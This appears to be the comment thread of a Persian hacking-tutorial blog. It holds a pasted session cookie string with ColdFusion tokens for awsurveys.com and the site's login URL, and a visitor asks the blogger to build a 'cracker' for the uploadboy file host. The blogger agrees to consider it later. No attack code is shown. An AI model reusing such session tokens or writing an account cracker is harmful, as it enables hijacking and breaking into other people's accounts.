CFID=264503074; CFTOKEN=1cb11ab15e353c6f-50E9122D-9468-7B70-4C9A06E656CC25F4; CFGLOBALS=urltoken%3DCFID%23%3D264503074%26CFTOKEN%23%3D1cb11ab15e353c6f%2D50E9122D%2D9468%2D7B70%2D4C9A06E656CC25F4%23lastvisit%3D%7Bts%20%272018%2D06%2D11%2006%3A57%3A44%27%7D%23hitcount%3D3%23timecreated%3D%7Bts%20%272018%2D06%2D11%2006%3A57%3A40%27%7D%23cftoken%3D1cb11ab15e353c6f%2D50E9122D%2D9468%2D7B70%2D4C9A06E656CC25F4%23cfid%3D264503074%23; _ga=GA1.2.1856566750.1528714646; _gid=GA1.2.1027544715.1528714646; _gat=1
------------------------------------------------------------------------------
این کوکی هست
------------------------------------------------------------------------------
اینم سایت

http://www.awsurveys.com/Login.cfm
MR C0D3R :
قبل از اینکه بخوای روی این سایته وقت بزاری ، مطمئنی اسکم نیست ؟
salam dadash mitoni cracker uploadboy ye nemone besazi bezari site?
MR C0D3R :
سلام
در اوج اینکه تو مجازی برای کسی کاری انجام نمیدم و فقط آموزش میدم
درخواستتو زدم تو لیست که اگه ویژوال نصب کردم برات بنویسم و قرار بدم (چند روزی میشه ویژوال استدیو ندارم )
ارسال نظر آزاد است، اما اگر قبلا در بیان ثبت نام کرده اید می توانید ابتدا وارد شوید.
شما میتوانید از این تگهای html استفاده کنید:
<b> یا <strong>، <em> یا <i>، <u>، <strike> یا <s>، <sup>، <sub>، <blockquote>، <code>، <pre>، <hr>، <br>، <p>، <a href="" title="">، <span style="">، <div align="">
تجدید کد امنیتی